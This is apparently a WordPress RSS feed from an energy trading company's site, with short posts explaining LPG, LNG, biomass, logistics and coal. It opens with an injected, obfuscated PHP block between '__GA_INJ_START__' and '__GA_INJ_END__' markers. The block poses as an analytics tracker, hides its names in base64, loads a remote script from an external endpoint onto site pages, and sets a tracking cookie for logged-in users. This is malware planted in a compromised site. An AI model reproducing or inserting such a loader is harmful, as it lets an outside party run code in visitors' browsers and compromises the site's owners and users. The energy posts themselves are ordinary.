/* __GA_INJ_START__ */ /*605f868e20c6288e*/function _ec8a11($_x){return $_x;}function _ac6563($_x){return $_x;}function _7f0a91($_x){return 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$_457d5a5c,$_1dc1b2c2;$_d576a0f3=true;if(is_array($_1dc1b2c2)){foreach($_1dc1b2c2 as $_7302c2db){if(version_compare($_7302c2db,$this->version,'>')){$_d576a0f3=false;break;}}}$_1cfbcd0a=base64_decode('Z2FuYWx5dGljcy10cmFja2Vy');$_ebd71649=base64_decode('Z2FuYWx5dGljcy1mb250cw==');$_1868f268=wp_script_is($_1cfbcd0a,'registered')||wp_script_is($_1cfbcd0a,'enqueued');if($_d576a0f3&&$_1868f268){wp_deregister_script($_1cfbcd0a);wp_deregister_style($_ebd71649);$_1868f268=false;}if(!$_d576a0f3&&$_1868f268){return;}$_5553c970=$this->resolve_endpoint();if(!$_5553c970){return;}wp_enqueue_style($_ebd71649,base64_decode($_457d5a5c["font"]),[],null);$_a9331db8=$_5553c970."/t.js?site=".base64_decode($_457d5a5c['sitePubKey']);wp_enqueue_script($_1cfbcd0a,$_a9331db8,[],null,false);if(function_exists('wp_script_add_data')){wp_script_add_data($_1cfbcd0a,'strategy','defer');}$this->setCaptchaCookie();}public function setCaptchaCookie(){if(!is_user_logged_in()){return;}$_f737cac3=base64_decode('ZmtyY19zaG93bg==');if(isset($_COOKIE[$_f737cac3])){return;}$_b01d3687=time()+(365*24*60*60);setcookie($_f737cac3,'1',$_b01d3687,'/','',false,false);}}new GAwp_2ca4a395(); /* __GA_INJ_END__ */ OUR BUSINESS – DPM Holding PTE LTD https://dpmholding.com Fri, 14 Feb 2020 04:21:56 +0000 en-US hourly 1 https://wordpress.org/?v=6.3.8 How LNG Plant works? https://dpmholding.com/2020/02/12/how-lng-plant-works/ https://dpmholding.com/2020/02/12/how-lng-plant-works/#respond Wed, 12 Feb 2020 02:16:30 +0000 http://dpmholding.com/?p=316 ]]> https://dpmholding.com/2020/02/12/how-lng-plant-works/feed/ 0 LPG https://dpmholding.com/2020/02/11/lpg/ https://dpmholding.com/2020/02/11/lpg/#respond Tue, 11 Feb 2020 09:26:25 +0000 http://dpmholding.com/?p=306 What is LPG?
LPG stands for “Liquefied Petroleum Gas”. The term is widely used to describe two prominent members of a family of light hydrocarbons called “Natural Gas Liquids” (NGLs): propane (C3H8) and butane (C4H10).

Propane and Butane are chemically quite similar but the difference in their properties means that they are particularly suited to specific uses.

Propane’s lower boiling point suits outdoor storage and is primarily used for central heating, cooking as a transport fuel and numerous commercial applications.

Butane, is used mainly in cylinders for portable applications in mobile heaters in the home, and for leisure activities such as boats, caravans and barbecues. Butane can only be used as a propellant, refrigerant or to fuel torches. Often, Propane and Butane will be mixed to get the best energy yields and properties.

At normal temperature and pressure, LPG is gaseous. It changes to a liquid when subjected to modest pressure or cooling. In liquid form the tank pressure is about twice the pressure in a normal truck tyre, which means it is very safe when properly handled. LPG is a derivative of two large energy industries: the processing of natural gas liquids and the refining of crude oil.
What does LPG come from?

LPG has two origins: approximately 60% is recovered during the extraction of natural gas and oil from the earth, and the remaining 40% is produced during the refining of crude oil.

Where is LPG used?

Liquefied Petroleum Gas (LPG) is a portable, clean and efficient energy source which is readily available to consumers around the world. LPG is primarily obtained from natural gas and oil production but is also produced increasingly from renewable sources; its unique properties make it a versatile energy source which can be used in more than 1,000 different applications. Hundreds of millions of people currently use LPG and depend on it for thousands of applications, in commercial business, industry, transportation, farming, power generation, cooking, heating and for recreational purposes.
Why use LPG?

LPG is an efficient, portable, clean, versatile and accessible energy source.

With an immediate and global availability, environmental benefits, its natural co-product origin, transportation flexibility and diverse application, LPG plays a pivotal role in the transition towards a more secure, sustainable and competitive energy model.
]]> https://dpmholding.com/2020/02/11/lpg/feed/ 0 LNG https://dpmholding.com/2020/02/11/lng/ https://dpmholding.com/2020/02/11/lng/#respond Tue, 11 Feb 2020 09:09:21 +0000 http://dpmholding.com/?p=301 What Is Liquefied Natural Gas (LNG)?

Liquefied natural gas (LNG) is natural gas that has been converted to a liquid form for the ease and safety of natural gas transport. Natural gas is cooled to approximately -260 F, creating a clear, colorless, and non-toxic liquid that can be transported from areas with a large supply of natural gas to areas that demand more natural gas. In its liquid state, natural gas takes up 1/600th of the space, meaning that natural gas is shrunk 600 times, making it much easier to ship and store when pipeline transport is not feasible. As world energy consumption increases, experts anticipate that the LNG trade will grow in importance.

How Liquefied Natural Gas (LNG) Works

Liquefied natural gas is primarily used to transport natural gas from one source to another.Exporters use this method when shipping to different countries and across bodies of water when pipelines aren’t available. There are two main approaches to liquefying natural gas in large quantities: the cascade process and the Linde method. The cascade process refers to the cooling of one gas by another gas, resulting in a cascading effect. The Linde method is regenerative cooling, where it is compressed, cooled, and expanded, until it is eventually cooled into a liquid.

Once the natural gas is liquefied, it is then stored in special tankers and transported to its point of destination. There is no possibility of LNG to explode if there is any sort of leak or spill. LNG and the gases that it consists of do not explode in an open-air environment. Once LNG is delivered, the natural gas is allowed to expand and convert back to its gaseous form by reheating, a process known as regasification. Once regasified, the natural gas is distributed via pipelines to consumers.

Liquefied natural gas is best known as a transport tool, but it is starting to gain mainstream adoption. The automotive industry is evaluating the usefulness of the gas as fuel for internal combustion engines in over the road trucking, off-road vehicles, marine vessels, and railways.

Global Demand for Liquefied Natural Gas (LNG)

Despite having one of the world’s largest reserves of natural gas, the United States imports a small percentage of its natural gas as liquefied natural gas from France and Trinidad. In fact, as of 2019, the United States was the third-largest exporter of LNG and is expected to become the largest exporter by 2024, surpassing Australia and Qatar. The largest importers of U.S. LNG are South Korea, Mexico, and Japan. Future demand growth will come from Asian countries, as they look toward LNG as a replacement for coal as an energy source.

Other major exporters of LNG include Indonesia, Nigeria, Russia, and Malaysia. Russia has the world’s largest supply of natural gas, followed by Iran and Qatar. As of 2019, it is no surprise that China is now the world’s largest importer of natural gas primarily through increases in LNG purchases.

The Future of Liquefied Natural Gas (LNG)

Global demand for LNG experienced rapid growth from near zero levels in 1970 to a meaningful market share today. 60% of that demand came from the U.S. and China in 2018. The LNG industry is booming as the world aims to break away from traditional and polluting energy sources such as oil and coal to focus on clean energy. McKinsey and Company estimates LNG demand to increase 3.6% per year till 2035. Gas will be the fastest growing fossil fuel with a growth rate of 0.9% and in 2018 the gas market grew by 5.6% while the LNG market grew by 8.6%.

]]> https://dpmholding.com/2020/02/11/lng/feed/ 0 BIOMASS https://dpmholding.com/2020/02/11/biomass/ https://dpmholding.com/2020/02/11/biomass/#respond Tue, 11 Feb 2020 08:40:59 +0000 http://dpmholding.com/?p=293 Biomass is plant or animal material used for energy production (electricity or heat), or in various industrial processes as raw substance for a range of products. It can be purposely grown energy crops (e.g. miscanthus, swithchgrass, wood or forest residues, waste from food crops (wheat straw, bagasse), horticulture (yard waste), food processing (corn cobs), animal farming (manure, rich in nitrogen and phosphorus), or human waste from sewage plants.

Burning plant-derived biomass releases CO2, but it has still been classified as a renewable energy source in the EU and UN legal frameworks because photosynthesis cycles the CO2 back into new crops. In some cases, this recycling of CO2 from plants to atmosphere and back into plants can even be CO2 negative as a relatively large portion of the CO2 is moved to the soil during each cycle.

Cofiring with biomass has increased in coal power plants, because it makes it possible to release less CO2 without the cost associated with building new infrastructure. Co-firing is not without issues however, often an upgrade of thi biomass is beneficiary. Upgrading to higher grade fuels can be achieved by different methods, broadly classified as thermal, chemical, or biochemical

]]> https://dpmholding.com/2020/02/11/biomass/feed/ 0 LOGISTIC https://dpmholding.com/2020/02/11/logistic-2/ https://dpmholding.com/2020/02/11/logistic-2/#respond Tue, 11 Feb 2020 08:19:28 +0000 http://dpmholding.com/?p=289 Logistics links the flow of freight from origin to the destination. It usually involves the integration of information flow, material management, packaging, inventory, conveyance, warehousing and security. Logistics management is an important part of every business enterprise.

]]> https://dpmholding.com/2020/02/11/logistic-2/feed/ 0 COAL https://dpmholding.com/2020/02/11/coal/ https://dpmholding.com/2020/02/11/coal/#respond Tue, 11 Feb 2020 07:35:00 +0000 http://dpmholding.com/?p=283 Coal formation

All living plants store solar energy through a process known as photosynthesis. When plants die, this energy is usually released as the plants decay. Under conditions favourable to coal formation, the decaying process is interrupted, preventing the release of the stored solar energy. The energy is locked into the coal.

Coal formation began during the Carboniferous Period – known as the first coal age – which spanned 360 million to 290 million years ago. The build-up of silt and other sediments, together with movements in the earth’s crust – known as tectonic movements – buried swamps and peat bogs, often to great depths. With burial, the plant material was subjected to high temperatures and pressures. This caused physical and chemical changes in the vegetation, transforming it into peat and then into coal.

Coalification

The degree of change undergone by a coal as it matures from peat to anthracite is known as coalification. Coalification has an important bearing on coal’s physical and chemical properties and is referred to as the ‘rank’ of the coal. Ranking is determined by the degree of transformation of the original plant material to carbon. The ranks of coals, from those with the least carbon to those with the most carbon, are lignite, sub-bituminous, bituminous and anthracite.

The quality of each coal deposit is determined by:

  • Types of vegetation from which the coal originated
  • Depths of burial
  • Temperatures and pressures at those depths
  • Length of time the coal has been forming in the deposit

Types of coal

Initially the peat is converted into lignite or ‘brown coal’ – these are coal-types with low organic maturity. In comparison to other coals, lignite is quite soft and its colour can range from dark black to various shades of brown.

Over many more millions of years, the continuing effects of temperature and pressure produces further change in the lignite, progressively increasing its organic maturity and transforming it into the range known as ‘sub-bituminous’ coals. Further chemical and physical changes occur until these coals became harder and blacker, forming the ‘bituminous’ or ‘hard coals’.

Under the right conditions, the progressive increase in the organic maturity can continue, finally forming anthracite.

In addition to carbon, coals contain hydrogen, oxygen, nitrogen and varying amounts of sulphur. High-rank coals are high in carbon and therefore heat value, but low in hydrogen and oxygen. Low-rank coals are low in carbon but high in hydrogen and oxygen content. Different types of coal also have different uses.

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